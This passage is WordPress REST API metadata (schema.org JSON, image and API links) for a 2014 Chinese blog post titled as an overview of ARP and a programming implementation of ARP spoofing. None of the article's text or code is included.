name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"ImageObject","@id":"http:\/\/weizn.net\/?p=71#primaryimage","inLanguage":"zh-Hans","url":"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png","contentUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=71#webpage","url":"http:\/\/weizn.net\/?p=71","name":"ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"primaryImageOfPage":{"@id":"http:\/\/weizn.net\/?p=71#primaryimage"},"datePublished":"2014-01-24T16:01:50+00:00","dateModified":"2014-01-24T16:01:50+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=71#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=71"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=71#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=71#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=71#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb","datePublished":"2014-01-24T16:01:50+00:00","dateModified":"2014-01-24T16:01:50+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=71#webpage"},"wordCount":8615,"commentCount":1,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"image":{"@id":"http:\/\/weizn.net\/?p=71#primaryimage"},"thumbnailUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png","articleSection":["C\/C++"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=71#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/71","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=71"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/71\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=71"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=71"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=71"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}